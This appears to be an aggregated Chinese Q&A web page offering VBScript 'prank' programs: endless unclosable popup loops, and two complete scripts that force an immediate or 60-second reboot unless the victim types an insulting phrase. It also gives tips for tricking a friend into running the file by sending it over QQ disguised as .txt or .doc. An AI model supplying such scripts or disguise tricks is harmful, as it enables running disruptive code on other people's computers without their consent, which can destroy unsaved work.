vbs整人代码错误弹窗　vbs整人的代码。？( 二 ) _vbs整人代码

Q3：vbs整人代码，超搞笑，共3个
VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢？下面我给大家展示一下。
工具/材料
Sublime Text

01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示
02 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗
03 接下来这个脚本每一次循环会展示4个弹窗，每个弹窗的内容不一样，每个弹窗的弹出间隔为1秒，如下图所示
04 最后一个脚本是带交互功能的，被整的人只有输入指定的内容才能关闭脚本，否则脚本会一直循环弹出，如下图所示

Q4：VBS小程序-弹窗整人（代码+解析）
VBS可以用来编写一些整人的小程序，那么如何编写呢？下面我就给大家分享一下。

01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的
02 然后我们用Sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示
03 接下来我们双击vbs程序文件，运行上面编写的整人程序，你会看到如下图所示的弹窗效果，我们点击确定以后会不断的弹窗
04 最后如果你想关闭这个整人的程序只能通过在任务管理器里面右键结束任务进行关闭了，如下图所示

Q5：vbs整人代码
完整代码如下：
---------------------------------------------------------------------
set vbs = createobject("Wscript.shell")
a = inputbox("请输入" & vbcr & """我是大笨蛋""" & vbcr & "否则电脑将立即重启。", "笨蛋炸弹")
if a <> "我是大笨蛋" then
vbs.run("shutdown -r -t 0"),vbhide
end if
---------------------------------------------------------------------
把代码拷贝到记事本里，另存文件为*.vbs，发给你朋友，让他双击这个文件他就上当了。
通过QQ发送时，你可以先把后缀名改为txt或者doc之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就OK了。
给你出这么馊的注意，我都心寒……
友情提示：玩笑不要开得太大哦，让你的朋友丢失了重要资料就不好了。
Q6：求一些厉害的vbs整人程序代码首先创建文本文档，将以下代码复制。on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是只猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是只猪")
a = inputbox ("说我是只猪,就不关机，速度，说 ""我是只猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈你是只猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈"复制好代码后，修改文件名.txt 更改为.vbe 。大功告成！
关于vbs整人代码和vbs整人代码错误弹窗的介绍到此就结束了，不知道你从中找到你需要的信息了吗？如果你还想了解更多这方面的信息，记得收藏关注本站。
查看更多关于vbs整人代码的详细内容...
【vbs整人代码错误弹窗　vbs整人的代码。？】Tags：vbs整人代码vbs整人代码错误弹窗